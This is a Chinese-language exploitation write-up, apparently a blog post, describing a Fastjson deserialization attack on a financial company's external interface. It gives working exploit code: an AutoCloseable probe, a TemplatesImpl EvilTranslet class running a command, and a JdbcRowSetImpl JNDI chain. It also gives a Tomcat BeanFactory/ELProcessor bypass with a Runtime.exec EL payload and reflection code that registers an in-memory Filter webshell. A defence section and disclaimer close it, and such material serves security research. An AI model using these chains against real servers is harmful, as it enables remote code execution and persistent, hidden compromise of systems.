背景:

  • 1.2.24 之前:autoType 默认开启,@type 可以直接指定任意类,利用门槛最低。

  • 1.2.25:引入 autoTypeSupport,默认关闭;但黑名单覆盖不全,仍存在可绕过的期望类路径。

  • 1.2.41、1.2.42、1.2.43、1.2.45、1.2.47 等版本:陆续修复已知绕过,但每次修复后又会出现新的期望类路径,攻防进入拉锯。

  • 1.2.68:引入 safeMode,开启后硬拒绝所有 @type 加载,比黑名单更彻底。

  • 1.2.80:将 AutoCloseable 加入黑名单,常见的探测类被收紧。

  • Fastjson2:从架构上移除旧版 autoType 的默认行为,旧链的适用面进一步收窄。


一、 引言:触发点

在一次针对某金融企业的外网 SRC 打点中,我发现了一个返回数据极其复杂的业务接口。按照习惯,我向 JSON 参数中插入了一个畸形的闭合符,服务器直接返回了 500 错误,堆栈清晰可见:com.alibaba.fastjson.JSONException。

很多人在这一步就直接上 ysoserial 或者现成的 Payload 了。但我要说的是:“存在 Fastjson”和“能够拿下服务器”之间,隔着一道巨大的鸿沟。Fastjson 的 autoType 状态、目标 JDK 版本、Classpath 下的第三方依赖,甚至传入参数的上下文,都会决定这条链能否走通。

先纠正一个高频混淆:Fastjson 的 @type 解析不经过 JEP 290。 JEP 290 的 ObjectInputFilter 作用于 ObjectInputStream 的类解析阶段,管的是 RMI 注册表、原生 Socket 反序列化这类入口。Fastjson 走的是自己的 ParserConfig 和 checkAutoType。如果目标只接收 JSON 文本,要突破的是 safeMode 和黑名单;只有拿到 rO0AB 或 aced0005 开头的字节流,才轮到讨论 JEP 290。

这个区分不是文字游戏,它直接决定排查方向。如果入口只解析 JSON,却把失败归因于“JEP 290 拦截”,后续所有链的选择都会南辕北辙。Fastjson 侧真正要确认的是:autoTypeSupport 是否开启、safeMode 是否启用、目标版本的黑名单覆盖了哪些类、业务代码是否开启了 SupportNonPublicField、Classpath 中是否存在可被 @type 驱动的期望类。只有把这些条件逐项确认,才能判断一条链是“理论上可用”还是“在这个入口上可用”。

二、 黑盒探测:先确认 autoType 的状态

确认组件后,第一步不是盲目扔 TemplatesImpl,而是判断 autoType 是否处于可被解析的状态。

用 {"@type":"java.lang.AutoCloseable"} 做无害探测。这个类的响应特征需要分版本看:

  • 在 Fastjson 1.2.80 之前,AutoCloseable 通常不在默认黑名单中,目标可能返回与类加载或类型转换相关的异常;

  • 在 Fastjson 1.2.80 之后,AutoCloseable 被加入黑名单,响应通常会变成 autoType is not support 或类似的拒绝信息。

如果返回的是后者,说明该入口的 autoType 已被收紧,后续链的选择需要更加依赖目标组件本身的白名单。本次目标返回的是类加载相关的异常,并未明确拒绝,据此判断目标 autoType 处于可被解析的状态。

这里需要强调探测的局限性:不同 Fastjson 小版本、不同 ParserConfig 配置、不同业务封装下,响应可能不一致。AutoCloseable 只是一个低成本的“探针”,它不能证明 autoType 完全开放,只能帮助排除“明确拒绝”的情况。真实测试中还应结合其他无害类做交叉验证,并观察异常堆栈中是否出现 checkAutoType、autoType is not support、ClassNotFoundException 等关键字符串。只有响应特征稳定指向“允许解析但后续失败”,才值得进入下一条链的尝试。

三、 TemplatesImpl 链的尝试与失败信号

autoType 可解析之后,首选不出网的 TemplatesImpl。这条链的价值在于不需要目标出网,不依赖 LDAP/RMI,直接把恶意字节码放进 _bytecodes,由 Fastjson 在本地完成 defineClass。

但它有两个硬性前提:

  1. 必须开启 SupportNonPublicField:_bytecodes 是私有字段,Fastjson 默认只处理 public 字段和 setter,未开启该特性时不会被赋值。

  2. _name 必须非空:TemplatesImpl 在 _name == null 时会提前返回,不会进入 defineTransletClasses。

EvilTranslet 需要实现 AbstractTranslet 的两个 transform 方法,否则编译不通过:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTranslet extends AbstractTranslet {
    static {
        try {
            // Linux 下使用 touch 验证
            Runtime.getRuntime().exec("touch /tmp/pwn_templates");
        } catch (Exception e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

构造 Base64 编码的 _bytecodes,连同 _name: "a" 发送。现象:目标无回显、无文件落地、无 DNS 请求。这个失败信号非常明确:该接口的 parseObject 没有开启 SupportNonPublicField,导致 _bytecodes 根本未被赋值。TemplatesImpl 链在此入口不可用,必须转向出网路径。

这里还要补一个版本边界:TemplatesImpl 在 Fastjson 1.2.24 到 1.2.47 等早期版本中较常被讨论;后续版本逐步收紧 autoType 和黑名单,直接 @type 指定该类可能被拦截。失败信号也要区分:是“字段未赋值导致的静默失败”,还是“类被黑名单拒绝”。前者通常没有明显报错,后者可能返回 autoType is not support 或类加载拒绝信息。只有确认是前者,才说明问题在 SupportNonPublicField,而不是目标版本已经封死这条链。

四、 出网破局:JNDI 注入与高版本 JDK 绕过

JdbcRowSetImpl 链在 setter 阶段触发 lookup()。必须区分:JDK 8u191 之后被封死的是远程类加载,但 lookup() 的网络请求本身仍然会发出。

先启动 LDAP 监听并发送 Payload,确认目标主动连入。这一步验证的是“出网通道存在”,不是“利用成功”。收到连接后,方向转为本地工厂。NamingManager.getObjectFactoryFromReference 会尝试从本地 Classpath 加载 Reference 中指定的 factoryClassName,并做 (ObjectFactory) clas.newInstance() 强转。

避坑点一: BeanFactory.getObjectInstance 接受的必须是 org.apache.naming.ResourceRef,普通 javax.naming.Reference 会在类型判断阶段被拒绝。

避坑点二: 必须绕开 Nashorn 引擎。JDK 15 起 Nashorn 被移除,ScriptEngineManager.getEngineByName("js") 会返回 null,后续 eval 直接空指针。改用 ELProcessor.eval 直接执行反射表达式。

import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;

// 参数说明:resourceClass, description, scope, auth, singleton=true(单例), factory, factoryLocation
ResourceRef ref = new ResourceRef(
    "javax.el.ELProcessor", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null
);

ref.add(new StringRefAddr("forceString", "x=eval"));

// 纯反射调用,不依赖 ScriptEngine
String elPayload = "\"\".getClass().forName(\"java.lang.Runtime\")" +
    ".getMethod(\"getRuntime\",null).invoke(null,null)" +
    ".exec(\"touch /tmp/pwn_el\")";
ref.add(new StringRefAddr("x", elPayload));

forceString: x=eval 让 BeanFactory 把属性 x 映射到 ELProcessor.eval(String),完成命令执行。

这条链的前提是目标 Classpath 中存在 javax.el.ELProcessor。内嵌 Tomcat 的 Spring Boot 通常带 tomcat-embed-el,传统 Tomcat 8/9 也自带该依赖;Jetty 或 Undertow 环境下该类不存在,链不成立。因此,在发送 ResourceRef 之前,最好通过响应头、错误页、静态资源路径等指纹判断目标是否使用 Tomcat。如果无法确认,也可以先发送一个只读的 EL 表达式验证 ELProcessor 是否存在,再决定是否执行命令。

五、 权限维持的边界博弈:基于现有类的条件式内存马注入

拿到命令执行权限后,最理想的后续是注入 Filter 内存马。但这里必须面对一个极其严苛的底层逻辑问题:既然 TemplatesImpl 已失效,而 EL 表达式又无法凭空 defineClass 自定义的恶意字节码,我们如何把一个恶意的 Filter 类加载进 JVM?

EL 表达式可以 new 已有类、可以反射调用方法,但它没有公开的 defineClass 能力。ClassLoader.defineClass 是 protected 方法,JDK 9+ 的模块系统还会进一步限制反射访问。能加载自定义字节码的典型入口是 TemplatesImpl、Unsafe.defineClass 或自定义 ClassLoader,而这些都需要额外条件。因此,在“前置链只能是纯 EL 执行、且目标没有文件写入权限”的场景下,内存马注入必须依赖目标环境中已经存在的可利用类。

具体来说,需要满足以下条件之一:

  1. 目标 Classpath 中存在可被复用的 Filter 实现:例如某个实现了 javax.servlet.Filter 接口、内部逻辑存在缺陷或可被动态代理修改的类。通过反射修改其属性或代理逻辑,将其注册为恶意 Filter。

  2. 目标环境存在其他字节码加载入口:例如已有的文件写入权限、可触发的类加载机制、或另一个反序列化入口。EL 可以作为注册 Filter 的触发点,但不能单独完成字节码定义。

如果上述条件均不满足,纯 EL 表达式无法完成一次完整的“无文件落地内存马注入”。这是客观的物理限制,不是堆砌几条网上 PoC 就能打破的。

下面给出在“目标 Classpath 中已有可复用 Filter 实例”的条件下,通过反射注册内存马的核心代码。注意:WebappClassLoaderBase 的 resources 字段直接声明在其自身,不需要找父类;Spring Boot fat-jar 的 LaunchedURLClassLoader 没有该字段,因此以下代码适用于传统 Tomcat 部署。

// 1. 获取 StandardContext(传统 Tomcat 部署)
ClassLoader cl = Thread.currentThread().getContextClassLoader();
WebResourceRoot resources = null;
while (cl != null) {
    try {
        java.lang.reflect.Field field = cl.getClass().getDeclaredField("resources");
        field.setAccessible(true);
        resources = (WebResourceRoot) field.get(cl);
        break;
    } catch (NoSuchFieldException e) {
        cl = cl.getParent();
    }
}
if (resources == null) return;
StandardContext ctx = (StandardContext) resources.getContext();

// 2. 注册恶意 Filter(假设已通过其他途径获取到 evilFilter 实例)
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("EvilFilter");
filterDef.setFilter(evilFilter);
filterDef.setFilterClass(evilFilter.getClass().getName());
ctx.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("EvilFilter");
filterMap.addURLPattern("/*");
ctx.addFilterMapBefore(filterMap);

ctx.filterStart();

如果只有纯 EL,上述 Java 逻辑需要全部翻译成 Class.forName、getMethod、invoke 的链式调用。这条 EL 表达式会非常长,且要处理类型转换、异常和类加载器可见性。更重要的是,evilFilter 实例从哪来,必须在目标 Classpath 中已有对应类,或者通过其他入口完成字节码加载。否则,filterStart() 会因为找不到 Filter 类而失败。

边界总结: 如果目标 Classpath 中无可用类,且无其他字节码加载入口,纯 EL 无法完成内存马注入。文章标题中的“权限维持”应理解为“在满足条件时的条件式权限维持”,而不是“任何 EL 执行都能无文件落地内存马”。把这条边界写清楚,比硬编一个跑不通的完整 Payload 更可信。

六、 防御层级

Fastjson 侧: safeMode 是 1.2.68+ 引入的硬拒绝机制,低版本应使用 setAutoTypeSupport(false) 配合白名单。根本方案是升级 Fastjson2。仅依赖黑名单不足以覆盖 AutoCloseable 等期望类路径的版本差异,也不足以应对业务代码开启 SupportNonPublicField 的情况。代码审计中应重点搜索 JSON.parseObject 的 Feature 参数,确认是否开启了非必要特性。

JNDI 侧: 显式设置 com.sun.jndi.ldap.object.trustURLCodebase=false 和 com.sun.jndi.rmi.object.trustURLCodebase=false,并禁止外部输入传入 lookup()。同时审计 Classpath 中的 ObjectFactory 实现,尤其是 Tomcat BeanFactory 与 ELProcessor 的组合。即使远程类加载被关闭,本地工厂仍可能被 ResourceRef 驱动,因此不能只依赖 trustURLCodebase=false。

内存马侧: 基于类的静态文件扫描对条件式注入无效。必须依赖 RASP 或 Java Agent,监控运行时 StandardContext 中 filterDefs/filterMaps 的非启动期新增,以及对 filterStart() 的异常反射调用。同时应监控 ClassLoader.defineClass、TemplatesImpl.newTransformer 等字节码加载入口,但这些监控要结合业务基线,避免误报。

七、 免责声明

本文仅供技术研究与安全防御参考。
文中涉及的漏洞利用链、Payload 及测试手法,均在合法授权的 SRC 靶场与内部测试资产上进行。
请勿将本文技术用于任何未授权的真实生产环境。因违规使用造成的任何后果及法律责任,由使用者自行承担。